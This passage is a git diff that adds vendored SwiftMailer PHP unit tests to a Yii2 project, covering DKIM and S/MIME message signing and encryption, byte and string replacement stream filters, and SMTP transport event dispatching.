Swift_CharacterReaderFactory_SimpleCharacterReaderFactory(); + $contentEncoder = new Swift_Mime_ContentEncoder_Base64ContentEncoder(); + + $headerEncoder = new Swift_Mime_HeaderEncoder_QpHeaderEncoder(new Swift_CharacterStream_ArrayCharacterStream($factory, 'utf-8')); + $paramEncoder = new Swift_Encoder_Rfc2231Encoder(new Swift_CharacterStream_ArrayCharacterStream($factory, 'utf-8')); + $grammar = new Swift_Mime_Grammar(); + $headerFactory = new Swift_Mime_SimpleHeaderFactory($headerEncoder, $paramEncoder, $grammar); + $headers = $this->getMockery('Swift_Mime_HeaderSet'); + + $headers->shouldReceive('listAll') + ->zeroOrMoreTimes() + ->andReturn(array('From', 'To', 'Date', 'Subject')); + $headers->shouldReceive('has') + ->zeroOrMoreTimes() + ->with('From') + ->andReturn(true); + $headers->shouldReceive('getAll') + ->zeroOrMoreTimes() + ->with('From') + ->andReturn(array($headerFactory->createMailboxHeader('From', 'test@test.test'))); + $headers->shouldReceive('has') + ->zeroOrMoreTimes() + ->with('To') + ->andReturn(true); + $headers->shouldReceive('getAll') + ->zeroOrMoreTimes() + ->with('To') + ->andReturn(array($headerFactory->createMailboxHeader('To', 'test@test.test'))); + $headers->shouldReceive('has') + ->zeroOrMoreTimes() + ->with('Date') + ->andReturn(true); + $headers->shouldReceive('getAll') + ->zeroOrMoreTimes() + ->with('Date') + ->andReturn(array($headerFactory->createTextHeader('Date', 'Fri, 11 Mar 2011 20:56:12 +0000 (GMT)'))); + $headers->shouldReceive('has') + ->zeroOrMoreTimes() + ->with('Subject') + ->andReturn(true); + $headers->shouldReceive('getAll') + ->zeroOrMoreTimes() + ->with('Subject') + ->andReturn(array($headerFactory->createTextHeader('Subject', 'Foo Bar Text Message'))); + $headers->shouldReceive('addTextHeader') + ->zeroOrMoreTimes() + ->with('DKIM-Signature', \Mockery::any()) + ->andReturn(true); + $headers->shouldReceive('getAll') + ->zeroOrMoreTimes() + ->with('DKIM-Signature') + ->andReturn(array($headerFactory->createTextHeader('DKIM-Signature', 'Foo Bar Text Message'))); + + return $headers; + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/Signers/OpenDKIMSignerTest.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/Signers/OpenDKIMSignerTest.php new file mode 100644 index 00000000..00e48c13 --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/Signers/OpenDKIMSignerTest.php @@ -0,0 +1,45 @@ +markTestSkipped( + 'Need OpenDKIM extension run these tests.' + ); + } + } + + public function testBasicSigningHeaderManipulation() + { + } + + // Default Signing + public function testSigningDefaults() + { + } + + // SHA256 Signing + public function testSigning256() + { + } + + // Relaxed/Relaxed Hash Signing + public function testSigningRelaxedRelaxed256() + { + } + + // Relaxed/Simple Hash Signing + public function testSigningRelaxedSimple256() + { + } + + // Simple/Relaxed Hash Signing + public function testSigningSimpleRelaxed256() + { + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/Signers/SMimeSignerTest.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/Signers/SMimeSignerTest.php new file mode 100644 index 00000000..f74cba0a --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/Signers/SMimeSignerTest.php @@ -0,0 +1,511 @@ +replacementFactory = Swift_DependencyContainer::getInstance() + ->lookup('transport.replacementfactory'); + + $this->samplesDir = str_replace('\\', '/', realpath(__DIR__.'/../../../_samples/')).'/'; + } + + public function testUnSingedMessage() + { + $message = Swift_SignedMessage::newInstance('Wonderful Subject') + ->setFrom(array('john@doe.com' => 'John Doe')) + ->setTo(array('receiver@domain.org', 'other@domain.org' => 'A name')) + ->setBody('Here is the message itself'); + + $this->assertEquals('Here is the message itself', $message->getBody()); + } + + public function testSingedMessage() + { + $message = Swift_SignedMessage::newInstance('Wonderful Subject') + ->setFrom(array('john@doe.com' => 'John Doe')) + ->setTo(array('receiver@domain.org', 'other@domain.org' => 'A name')) + ->setBody('Here is the message itself'); + + $signer = new Swift_Signers_SMimeSigner(); + $signer->setSignCertificate($this->samplesDir.'smime/sign.crt', $this->samplesDir.'smime/sign.key'); + $message->attachSigner($signer); + + $messageStream = $this->newFilteredStream(); + $message->toByteStream($messageStream); + $messageStream->commit(); + + $entityString = $messageStream->getContent(); + $headers = self::getHeadersOfMessage($entityString); + + if (!($boundary = $this->getBoundary($headers['content-type']))) { + return false; + } + + $expectedBody = <<assertValidVerify($expectedBody, $messageStream); + unset($messageStream); + } + + public function testSingedMessageBinary() + { + $message = Swift_SignedMessage::newInstance('Wonderful Subject') + ->setFrom(array('john@doe.com' => 'John Doe')) + ->setTo(array('receiver@domain.org', 'other@domain.org' => 'A name')) + ->setBody('Here is the message itself'); + + $signer = new Swift_Signers_SMimeSigner(); + $signer->setSignCertificate($this->samplesDir.'smime/sign.crt', $this->samplesDir.'smime/sign.key', PKCS7_BINARY); + $message->attachSigner($signer); + + $messageStream = $this->newFilteredStream(); + $message->toByteStream($messageStream); + $messageStream->commit(); + + $entityString = $messageStream->getContent(); + $headers = self::getHeadersOfMessage($entityString); + + if (!preg_match('#^application/(x\-)?pkcs7-mime; smime-type=signed\-data;#', $headers['content-type'])) { + $this->fail('Content-type does not match.'); + + return false; + } + + $this->assertEquals($headers['content-transfer-encoding'], 'base64'); + $this->assertEquals($headers['content-disposition'], 'attachment; filename="smime.p7m"'); + + $expectedBody = '(?:^[a-zA-Z0-9\/\\r\\n+]*={0,2})'; + + $messageStreamClean = $this->newFilteredStream(); + + $this->assertValidVerify($expectedBody, $messageStream); + unset($messageStreamClean, $messageStream); + } + + public function testSingedMessageWithAttachments() + { + $message = Swift_SignedMessage::newInstance('Wonderful Subject') + ->setFrom(array('john@doe.com' => 'John Doe')) + ->setTo(array('receiver@domain.org', 'other@domain.org' => 'A name')) + ->setBody('Here is the message itself'); + + $message->attach(Swift_Attachment::fromPath($this->samplesDir.'/files/textfile.zip')); + + $signer = new Swift_Signers_SMimeSigner(); + $signer->setSignCertificate($this->samplesDir.'smime/sign.crt', $this->samplesDir.'smime/sign.key'); + $message->attachSigner($signer); + + $messageStream = $this->newFilteredStream(); + $message->toByteStream($messageStream); + $messageStream->commit(); + + $entityString = $messageStream->getContent(); + $headers = self::getHeadersOfMessage($entityString); + + if (!($boundary = $this->getBoundary($headers['content-type']))) { + return false; + } + + $expectedBody = <<assertValidVerify($expectedBody, $messageStream); + unset($messageStream); + } + + public function testEncryptedMessage() + { + $message = Swift_SignedMessage::newInstance('Wonderful Subject') + ->setFrom(array('john@doe.com' => 'John Doe')) + ->setTo(array('receiver@domain.org', 'other@domain.org' => 'A name')) + ->setBody('Here is the message itself'); + + $originalMessage = $this->cleanMessage($message->toString()); + + $signer = new Swift_Signers_SMimeSigner(); + $signer->setEncryptCertificate($this->samplesDir.'smime/encrypt.crt'); + $message->attachSigner($signer); + + $messageStream = new Swift_ByteStream_TemporaryFileByteStream(); + $message->toByteStream($messageStream); + $messageStream->commit(); + + $entityString = $messageStream->getContent(); + $headers = self::getHeadersOfMessage($entityString); + + if (!preg_match('#^application/(x\-)?pkcs7-mime; smime-type=enveloped\-data;#', $headers['content-type'])) { + $this->fail('Content-type does not match.'); + + return false; + } + + $expectedBody = '(?:^[a-zA-Z0-9\/\\r\\n+]*={0,2})'; + + $decryptedMessageStream = new Swift_ByteStream_TemporaryFileByteStream(); + + if (!openssl_pkcs7_decrypt($messageStream->getPath(), $decryptedMessageStream->getPath(), 'file://'.$this->samplesDir.'smime/encrypt.crt', array('file://'.$this->samplesDir.'smime/encrypt.key', 'swift'))) { + $this->fail(sprintf('Decrypt of the message failed. Internal error "%s".', openssl_error_string())); + } + + $this->assertEquals($originalMessage, $decryptedMessageStream->getContent()); + unset($decryptedMessageStream, $messageStream); + } + + public function testEncryptedMessageWithMultipleCerts() + { + $message = Swift_SignedMessage::newInstance('Wonderful Subject') + ->setFrom(array('john@doe.com' => 'John Doe')) + ->setTo(array('receiver@domain.org', 'other@domain.org' => 'A name')) + ->setBody('Here is the message itself'); + + $originalMessage = $this->cleanMessage($message->toString()); + + $signer = new Swift_Signers_SMimeSigner(); + $signer->setEncryptCertificate(array($this->samplesDir.'smime/encrypt.crt', $this->samplesDir.'smime/encrypt2.crt')); + $message->attachSigner($signer); + + $messageStream = new Swift_ByteStream_TemporaryFileByteStream(); + $message->toByteStream($messageStream); + $messageStream->commit(); + + $entityString = $messageStream->getContent(); + $headers = self::getHeadersOfMessage($entityString); + + if (!preg_match('#^application/(x\-)?pkcs7-mime; smime-type=enveloped\-data;#', $headers['content-type'])) { + $this->fail('Content-type does not match.'); + + return false; + } + + $expectedBody = '(?:^[a-zA-Z0-9\/\\r\\n+]*={0,2})'; + + $decryptedMessageStream = new Swift_ByteStream_TemporaryFileByteStream(); + + if (!openssl_pkcs7_decrypt($messageStream->getPath(), $decryptedMessageStream->getPath(), 'file://'.$this->samplesDir.'smime/encrypt.crt', array('file://'.$this->samplesDir.'smime/encrypt.key', 'swift'))) { + $this->fail(sprintf('Decrypt of the message failed. Internal error "%s".', openssl_error_string())); + } + + $this->assertEquals($originalMessage, $decryptedMessageStream->getContent()); + unset($decryptedMessageStream); + + $decryptedMessageStream = new Swift_ByteStream_TemporaryFileByteStream(); + + if (!openssl_pkcs7_decrypt($messageStream->getPath(), $decryptedMessageStream->getPath(), 'file://'.$this->samplesDir.'smime/encrypt2.crt', array('file://'.$this->samplesDir.'smime/encrypt2.key', 'swift'))) { + $this->fail(sprintf('Decrypt of the message failed. Internal error "%s".', openssl_error_string())); + } + + $this->assertEquals($originalMessage, $decryptedMessageStream->getContent()); + unset($decryptedMessageStream, $messageStream); + } + + public function testSignThenEncryptedMessage() + { + $message = Swift_SignedMessage::newInstance('Wonderful Subject') + ->setFrom(array('john@doe.com' => 'John Doe')) + ->setTo(array('receiver@domain.org', 'other@domain.org' => 'A name')) + ->setBody('Here is the message itself'); + + $signer = new Swift_Signers_SMimeSigner(); + $signer->setSignCertificate($this->samplesDir.'smime/sign.crt', $this->samplesDir.'smime/sign.key'); + $signer->setEncryptCertificate($this->samplesDir.'smime/encrypt.crt'); + $message->attachSigner($signer); + + $messageStream = new Swift_ByteStream_TemporaryFileByteStream(); + $message->toByteStream($messageStream); + $messageStream->commit(); + + $entityString = $messageStream->getContent(); + $headers = self::getHeadersOfMessage($entityString); + + if (!preg_match('#^application/(x\-)?pkcs7-mime; smime-type=enveloped\-data;#', $headers['content-type'])) { + $this->fail('Content-type does not match.'); + + return false; + } + + $expectedBody = '(?:^[a-zA-Z0-9\/\\r\\n+]*={0,2})'; + + $decryptedMessageStream = new Swift_ByteStream_TemporaryFileByteStream(); + + if (!openssl_pkcs7_decrypt($messageStream->getPath(), $decryptedMessageStream->getPath(), 'file://'.$this->samplesDir.'smime/encrypt.crt', array('file://'.$this->samplesDir.'smime/encrypt.key', 'swift'))) { + $this->fail(sprintf('Decrypt of the message failed. Internal error "%s".', openssl_error_string())); + } + + $entityString = $decryptedMessageStream->getContent(); + $headers = self::getHeadersOfMessage($entityString); + + if (!($boundary = $this->getBoundary($headers['content-type']))) { + return false; + } + + $expectedBody = <<assertValidVerify($expectedBody, $decryptedMessageStream)) { + return false; + } + + unset($decryptedMessageStream, $messageStream); + } + + public function testEncryptThenSignMessage() + { + $message = Swift_SignedMessage::newInstance('Wonderful Subject') + ->setFrom(array('john@doe.com' => 'John Doe')) + ->setTo(array('receiver@domain.org', 'other@domain.org' => 'A name')) + ->setBody('Here is the message itself'); + + $originalMessage = $this->cleanMessage($message->toString()); + + $signer = Swift_Signers_SMimeSigner::newInstance(); + $signer->setSignCertificate($this->samplesDir.'smime/sign.crt', $this->samplesDir.'smime/sign.key'); + $signer->setEncryptCertificate($this->samplesDir.'smime/encrypt.crt'); + $signer->setSignThenEncrypt(false); + $message->attachSigner($signer); + + $messageStream = $this->newFilteredStream(); + $message->toByteStream($messageStream); + $messageStream->commit(); + + $entityString = $messageStream->getContent(); + $headers = self::getHeadersOfMessage($entityString); + + if (!($boundary = $this->getBoundary($headers['content-type']))) { + return false; + } + + $expectedBody = <<MIME-Version: 1\.0 +Content-Disposition: attachment; filename="smime\.p7m" +Content-Type: application/(x\-)?pkcs7-mime; smime-type=enveloped-data; name="smime\.p7m" +Content-Transfer-Encoding: base64 + +(?:^[a-zA-Z0-9\/\\r\\n+]*={0,2}) + + +)--$boundary +Content-Type: application/(x\-)?pkcs7-signature; name="smime\.p7s" +Content-Transfer-Encoding: base64 +Content-Disposition: attachment; filename="smime\.p7s" + +(?:^[a-zA-Z0-9\/\\r\\n+]*={0,2}) + +--$boundary-- +OEL; + + if (!$this->assertValidVerify($expectedBody, $messageStream)) { + return false; + } + + $expectedBody = str_replace("\n", "\r\n", $expectedBody); + if (!preg_match('%'.$expectedBody.'*%m', $entityString, $entities)) { + $this->fail('Failed regex match.'); + + return false; + } + + $messageStreamClean = new Swift_ByteStream_TemporaryFileByteStream(); + $messageStreamClean->write($entities['encrypted_message']); + + $decryptedMessageStream = new Swift_ByteStream_TemporaryFileByteStream(); + + if (!openssl_pkcs7_decrypt($messageStreamClean->getPath(), $decryptedMessageStream->getPath(), 'file://'.$this->samplesDir.'smime/encrypt.crt', array('file://'.$this->samplesDir.'smime/encrypt.key', 'swift'))) { + $this->fail(sprintf('Decrypt of the message failed. Internal error "%s".', openssl_error_string())); + } + + $this->assertEquals($originalMessage, $decryptedMessageStream->getContent()); + unset($messageStreamClean, $messageStream, $decryptedMessageStream); + } + + protected function assertValidVerify($expected, Swift_ByteStream_TemporaryFileByteStream $messageStream) + { + $actual = $messageStream->getContent(); + + // File is UNIX encoded so convert them to correct line ending + $expected = str_replace("\n", "\r\n", $expected); + + $actual = trim(self::getBodyOfMessage($actual)); + if (!$this->assertRegExp('%^'.$expected.'$\s*%m', $actual)) { + return false; + } + + $opensslOutput = new Swift_ByteStream_TemporaryFileByteStream(); + $verify = openssl_pkcs7_verify($messageStream->getPath(), null, $opensslOutput->getPath(), array($this->samplesDir.'smime/ca.crt')); + + if (false === $verify) { + $this->fail('Verification of the message failed.'); + + return false; + } elseif (-1 === $verify) { + $this->fail(sprintf('Verification of the message failed. Internal error "%s".', openssl_error_string())); + + return false; + } + + return true; + } + + protected function getBoundary($contentType) + { + if (!preg_match('/boundary=("[^"]+"|(?:[^\s]+|$))/is', $contentType, $contentTypeData)) { + $this->fail('Failed to find Boundary parameter'); + + return false; + } + + return trim($contentTypeData[1], '"'); + } + + protected function newFilteredStream() + { + $messageStream = new Swift_ByteStream_TemporaryFileByteStream(); + $messageStream->addFilter($this->replacementFactory->createFilter("\r\n", "\n"), 'CRLF to LF'); + $messageStream->addFilter($this->replacementFactory->createFilter("\n", "\r\n"), 'LF to CRLF'); + + return $messageStream; + } + + protected static function getBodyOfMessage($message) + { + return substr($message, strpos($message, "\r\n\r\n")); + } + + /** + * Strips of the sender headers and Mime-Version. + * + * @param Swift_ByteStream_TemporaryFileByteStream $messageStream + * @param Swift_ByteStream_TemporaryFileByteStream $inputStream + */ + protected function cleanMessage($content) + { + $newContent = ''; + + $headers = self::getHeadersOfMessage($content); + foreach ($headers as $headerName => $value) { + if (!in_array($headerName, array('content-type', 'content-transfer-encoding', 'content-disposition'))) { + continue; + } + + $headerName = explode('-', $headerName); + $headerName = array_map('ucfirst', $headerName); + $headerName = implode('-', $headerName); + + if (strlen($value) > 62) { + $value = wordwrap($value, 62, "\n "); + } + + $newContent .= "$headerName: $value\r\n"; + } + + return $newContent."\r\n".ltrim(self::getBodyOfMessage($content)); + } + + /** + * Returns the headers of the message. + * + * Header-names are lowercase. + * + * @param string $message + * + * @return array + */ + protected static function getHeadersOfMessage($message) + { + $headersPosEnd = strpos($message, "\r\n\r\n"); + $headerData = substr($message, 0, $headersPosEnd); + $headerLines = explode("\r\n", $headerData); + + if (empty($headerLines)) { + return array(); + } + + $headers = array(); + + foreach ($headerLines as $headerLine) { + if (ctype_space($headerLines[0]) || false === strpos($headerLine, ':')) { + $headers[$currentHeaderName] .= ' '.trim($headerLine); + continue; + } + + $header = explode(':', $headerLine, 2); + $currentHeaderName = strtolower($header[0]); + $headers[$currentHeaderName] = trim($header[1]); + } + + return $headers; + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/StreamFilters/ByteArrayReplacementFilterTest.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/StreamFilters/ByteArrayReplacementFilterTest.php new file mode 100644 index 00000000..e4d4f48d --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/StreamFilters/ByteArrayReplacementFilterTest.php @@ -0,0 +1,131 @@ +_createFilter(array(0x61, 0x62), array(0x63, 0x64)); + $this->assertEquals( + array(0x59, 0x60, 0x63, 0x64, 0x65), + $filter->filter(array(0x59, 0x60, 0x61, 0x62, 0x65)) + ); + } + + public function testShouldBufferReturnsTrueIfPartialMatchAtEndOfBuffer() + { + $filter = $this->_createFilter(array(0x61, 0x62), array(0x63, 0x64)); + $this->assertTrue($filter->shouldBuffer(array(0x59, 0x60, 0x61)), + '%s: Filter should buffer since 0x61 0x62 is the needle and the ending '. + '0x61 could be from 0x61 0x62' + ); + } + + public function testFilterCanMakeMultipleReplacements() + { + $filter = $this->_createFilter(array(array(0x61), array(0x62)), array(0x63)); + $this->assertEquals( + array(0x60, 0x63, 0x60, 0x63, 0x60), + $filter->filter(array(0x60, 0x61, 0x60, 0x62, 0x60)) + ); + } + + public function testMultipleReplacementsCanBeDifferent() + { + $filter = $this->_createFilter(array(array(0x61), array(0x62)), array(array(0x63), array(0x64))); + $this->assertEquals( + array(0x60, 0x63, 0x60, 0x64, 0x60), + $filter->filter(array(0x60, 0x61, 0x60, 0x62, 0x60)) + ); + } + + public function testShouldBufferReturnsFalseIfPartialMatchNotAtEndOfString() + { + $filter = $this->_createFilter(array(0x0D, 0x0A), array(0x0A)); + $this->assertFalse($filter->shouldBuffer(array(0x61, 0x62, 0x0D, 0x0A, 0x63)), + '%s: Filter should not buffer since x0Dx0A is the needle and is not at EOF' + ); + } + + public function testShouldBufferReturnsTrueIfAnyOfMultipleMatchesAtEndOfString() + { + $filter = $this->_createFilter(array(array(0x61, 0x62), array(0x63)), array(0x64)); + $this->assertTrue($filter->shouldBuffer(array(0x59, 0x60, 0x61)), + '%s: Filter should buffer since 0x61 0x62 is a needle and the ending '. + '0x61 could be from 0x61 0x62' + ); + } + + public function testConvertingAllLineEndingsToCRLFWhenInputIsLF() + { + $filter = $this->_createFilter( + array(array(0x0D, 0x0A), array(0x0D), array(0x0A)), + array(array(0x0A), array(0x0A), array(0x0D, 0x0A)) + ); + + $this->assertEquals( + array(0x60, 0x0D, 0x0A, 0x61, 0x0D, 0x0A, 0x62, 0x0D, 0x0A, 0x63), + $filter->filter(array(0x60, 0x0A, 0x61, 0x0A, 0x62, 0x0A, 0x63)) + ); + } + + public function testConvertingAllLineEndingsToCRLFWhenInputIsCR() + { + $filter = $this->_createFilter( + array(array(0x0D, 0x0A), array(0x0D), array(0x0A)), + array(array(0x0A), array(0x0A), array(0x0D, 0x0A)) + ); + + $this->assertEquals( + array(0x60, 0x0D, 0x0A, 0x61, 0x0D, 0x0A, 0x62, 0x0D, 0x0A, 0x63), + $filter->filter(array(0x60, 0x0D, 0x61, 0x0D, 0x62, 0x0D, 0x63)) + ); + } + + public function testConvertingAllLineEndingsToCRLFWhenInputIsCRLF() + { + $filter = $this->_createFilter( + array(array(0x0D, 0x0A), array(0x0D), array(0x0A)), + array(array(0x0A), array(0x0A), array(0x0D, 0x0A)) + ); + + $this->assertEquals( + array(0x60, 0x0D, 0x0A, 0x61, 0x0D, 0x0A, 0x62, 0x0D, 0x0A, 0x63), + $filter->filter(array(0x60, 0x0D, 0x0A, 0x61, 0x0D, 0x0A, 0x62, 0x0D, 0x0A, 0x63)) + ); + } + + public function testConvertingAllLineEndingsToCRLFWhenInputIsLFCR() + { + $filter = $this->_createFilter( + array(array(0x0D, 0x0A), array(0x0D), array(0x0A)), + array(array(0x0A), array(0x0A), array(0x0D, 0x0A)) + ); + + $this->assertEquals( + array(0x60, 0x0D, 0x0A, 0x0D, 0x0A, 0x61, 0x0D, 0x0A, 0x0D, 0x0A, 0x62, 0x0D, 0x0A, 0x0D, 0x0A, 0x63), + $filter->filter(array(0x60, 0x0A, 0x0D, 0x61, 0x0A, 0x0D, 0x62, 0x0A, 0x0D, 0x63)) + ); + } + + public function testConvertingAllLineEndingsToCRLFWhenInputContainsLFLF() + { + //Lighthouse Bug #23 + + $filter = $this->_createFilter( + array(array(0x0D, 0x0A), array(0x0D), array(0x0A)), + array(array(0x0A), array(0x0A), array(0x0D, 0x0A)) + ); + + $this->assertEquals( + array(0x60, 0x0D, 0x0A, 0x0D, 0x0A, 0x61, 0x0D, 0x0A, 0x0D, 0x0A, 0x62, 0x0D, 0x0A, 0x0D, 0x0A, 0x63), + $filter->filter(array(0x60, 0x0A, 0x0A, 0x61, 0x0A, 0x0A, 0x62, 0x0A, 0x0A, 0x63)) + ); + } + + // -- Creation methods + + private function _createFilter($search, $replace) + { + return new Swift_StreamFilters_ByteArrayReplacementFilter($search, $replace); + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/StreamFilters/StringReplacementFilterFactoryTest.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/StreamFilters/StringReplacementFilterFactoryTest.php new file mode 100644 index 00000000..bd44f5c7 --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/StreamFilters/StringReplacementFilterFactoryTest.php @@ -0,0 +1,38 @@ +_createFactory(); + $this->assertInstanceof( + 'Swift_StreamFilters_StringReplacementFilter', + $factory->createFilter('a', 'b') + ); + } + + public function testSameInstancesAreCached() + { + $factory = $this->_createFactory(); + $filter1 = $factory->createFilter('a', 'b'); + $filter2 = $factory->createFilter('a', 'b'); + $this->assertSame($filter1, $filter2, '%s: Instances should be cached'); + } + + public function testDifferingInstancesAreNotCached() + { + $factory = $this->_createFactory(); + $filter1 = $factory->createFilter('a', 'b'); + $filter2 = $factory->createFilter('a', 'c'); + $this->assertNotEquals($filter1, $filter2, + '%s: Differing instances should not be cached' + ); + } + + // -- Creation methods + + private function _createFactory() + { + return new Swift_StreamFilters_StringReplacementFilterFactory(); + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/StreamFilters/StringReplacementFilterTest.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/StreamFilters/StringReplacementFilterTest.php new file mode 100644 index 00000000..7a98a2f2 --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/StreamFilters/StringReplacementFilterTest.php @@ -0,0 +1,55 @@ +_createFilter('foo', 'bar'); + $this->assertEquals('XbarYbarZ', $filter->filter('XfooYfooZ')); + } + + public function testShouldBufferReturnsTrueIfPartialMatchAtEndOfBuffer() + { + $filter = $this->_createFilter('foo', 'bar'); + $this->assertTrue($filter->shouldBuffer('XfooYf'), + '%s: Filter should buffer since "foo" is the needle and the ending '. + '"f" could be from "foo"' + ); + } + + public function testFilterCanMakeMultipleReplacements() + { + $filter = $this->_createFilter(array('a', 'b'), 'foo'); + $this->assertEquals('XfooYfooZ', $filter->filter('XaYbZ')); + } + + public function testMultipleReplacementsCanBeDifferent() + { + $filter = $this->_createFilter(array('a', 'b'), array('foo', 'zip')); + $this->assertEquals('XfooYzipZ', $filter->filter('XaYbZ')); + } + + public function testShouldBufferReturnsFalseIfPartialMatchNotAtEndOfString() + { + $filter = $this->_createFilter("\r\n", "\n"); + $this->assertFalse($filter->shouldBuffer("foo\r\nbar"), + '%s: Filter should not buffer since x0Dx0A is the needle and is not at EOF' + ); + } + + public function testShouldBufferReturnsTrueIfAnyOfMultipleMatchesAtEndOfString() + { + $filter = $this->_createFilter(array('foo', 'zip'), 'bar'); + $this->assertTrue($filter->shouldBuffer('XfooYzi'), + '%s: Filter should buffer since "zip" is a needle and the ending '. + '"zi" could be from "zip"' + ); + } + + // -- Creation methods + + private function _createFilter($search, $replace) + { + return new Swift_StreamFilters_StringReplacementFilter($search, $replace); + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/Transport/AbstractSmtpEventSupportTest.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/Transport/AbstractSmtpEventSupportTest.php new file mode 100644 index 00000000..163c0320 --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/Transport/AbstractSmtpEventSupportTest.php @@ -0,0 +1,560 @@ +_getBuffer(); + $dispatcher = $this->_createEventDispatcher(false); + $listener = $this->getMockery('Swift_Events_EventListener'); + $smtp = $this->_getTransport($buf, $dispatcher); + $dispatcher->shouldReceive('bindEventListener') + ->once() + ->with($listener); + + $smtp->registerPlugin($listener); + } + + public function testSendingDispatchesBeforeSendEvent() + { + $buf = $this->_getBuffer(); + $dispatcher = $this->_createEventDispatcher(false); + $message = $this->_createMessage(); + $smtp = $this->_getTransport($buf, $dispatcher); + $evt = $this->getMockery('Swift_Events_SendEvent')->shouldIgnoreMissing(); + + $message->shouldReceive('getFrom') + ->zeroOrMoreTimes() + ->andReturn(array('chris@swiftmailer.org' => null)); + $message->shouldReceive('getTo') + ->zeroOrMoreTimes() + ->andReturn(array('mark@swiftmailer.org' => 'Mark')); + $dispatcher->shouldReceive('createSendEvent') + ->once() + ->andReturn($evt); + $dispatcher->shouldReceive('dispatchEvent') + ->once() + ->with($evt, 'beforeSendPerformed'); + $dispatcher->shouldReceive('dispatchEvent') + ->zeroOrMoreTimes(); + $evt->shouldReceive('bubbleCancelled') + ->zeroOrMoreTimes() + ->andReturn(false); + + $this->_finishBuffer($buf); + $smtp->start(); + $this->assertEquals(1, $smtp->send($message)); + } + + public function testSendingDispatchesSendEvent() + { + $buf = $this->_getBuffer(); + $dispatcher = $this->_createEventDispatcher(false); + $message = $this->_createMessage(); + $smtp = $this->_getTransport($buf, $dispatcher); + $evt = $this->getMockery('Swift_Events_SendEvent')->shouldIgnoreMissing(); + + $message->shouldReceive('getFrom') + ->zeroOrMoreTimes() + ->andReturn(array('chris@swiftmailer.org' => null)); + $message->shouldReceive('getTo') + ->zeroOrMoreTimes() + ->andReturn(array('mark@swiftmailer.org' => 'Mark')); + $dispatcher->shouldReceive('createSendEvent') + ->once() + ->andReturn($evt); + $dispatcher->shouldReceive('dispatchEvent') + ->once() + ->with($evt, 'sendPerformed'); + $dispatcher->shouldReceive('dispatchEvent') + ->zeroOrMoreTimes(); + $evt->shouldReceive('bubbleCancelled') + ->zeroOrMoreTimes() + ->andReturn(false); + + $this->_finishBuffer($buf); + $smtp->start(); + $this->assertEquals(1, $smtp->send($message)); + } + + public function testSendEventCapturesFailures() + { + $buf = $this->_getBuffer(); + $dispatcher = $this->_createEventDispatcher(false); + $evt = $this->getMockery('Swift_Events_SendEvent')->shouldIgnoreMissing(); + $smtp = $this->_getTransport($buf, $dispatcher); + $message = $this->_createMessage(); + + $message->shouldReceive('getFrom') + ->zeroOrMoreTimes() + ->andReturn(array('chris@swiftmailer.org' => null)); + $message->shouldReceive('getTo') + ->zeroOrMoreTimes() + ->andReturn(array('mark@swiftmailer.org' => 'Mark')); + $buf->shouldReceive('write') + ->once() + ->with("MAIL FROM: \r\n") + ->andReturn(1); + $buf->shouldReceive('readLine') + ->once() + ->with(1) + ->andReturn("250 OK\r\n"); + $buf->shouldReceive('write') + ->once() + ->with("RCPT TO: \r\n") + ->andReturn(2); + $buf->shouldReceive('readLine') + ->once() + ->with(2) + ->andReturn("500 Not now\r\n"); + $dispatcher->shouldReceive('createSendEvent') + ->zeroOrMoreTimes() + ->with($smtp, \Mockery::any()) + ->andReturn($evt); + $dispatcher->shouldReceive('dispatchEvent') + ->once() + ->with($evt, 'sendPerformed'); + $dispatcher->shouldReceive('dispatchEvent') + ->zeroOrMoreTimes(); + $evt->shouldReceive('bubbleCancelled') + ->zeroOrMoreTimes() + ->andReturn(false); + $evt->shouldReceive('setFailedRecipients') + ->once() + ->with(array('mark@swiftmailer.org')); + + $this->_finishBuffer($buf); + $smtp->start(); + $this->assertEquals(0, $smtp->send($message)); + } + + public function testSendEventHasResultFailedIfAllFailures() + { + $buf = $this->_getBuffer(); + $dispatcher = $this->_createEventDispatcher(false); + $evt = $this->getMockery('Swift_Events_SendEvent')->shouldIgnoreMissing(); + $smtp = $this->_getTransport($buf, $dispatcher); + $message = $this->_createMessage(); + + $message->shouldReceive('getFrom') + ->zeroOrMoreTimes() + ->andReturn(array('chris@swiftmailer.org' => null)); + $message->shouldReceive('getTo') + ->zeroOrMoreTimes() + ->andReturn(array('mark@swiftmailer.org' => 'Mark')); + $buf->shouldReceive('write') + ->once() + ->with("MAIL FROM: \r\n") + ->andReturn(1); + $buf->shouldReceive('readLine') + ->once() + ->with(1) + ->andReturn("250 OK\r\n"); + $buf->shouldReceive('write') + ->once() + ->with("RCPT TO: \r\n") + ->andReturn(2); + $buf->shouldReceive('readLine') + ->once() + ->with(2) + ->andReturn("500 Not now\r\n"); + $dispatcher->shouldReceive('createSendEvent') + ->zeroOrMoreTimes() + ->with($smtp, \Mockery::any()) + ->andReturn($evt); + $dispatcher->shouldReceive('dispatchEvent') + ->once() + ->with($evt, 'sendPerformed'); + $dispatcher->shouldReceive('dispatchEvent') + ->zeroOrMoreTimes(); + $evt->shouldReceive('bubbleCancelled') + ->zeroOrMoreTimes() + 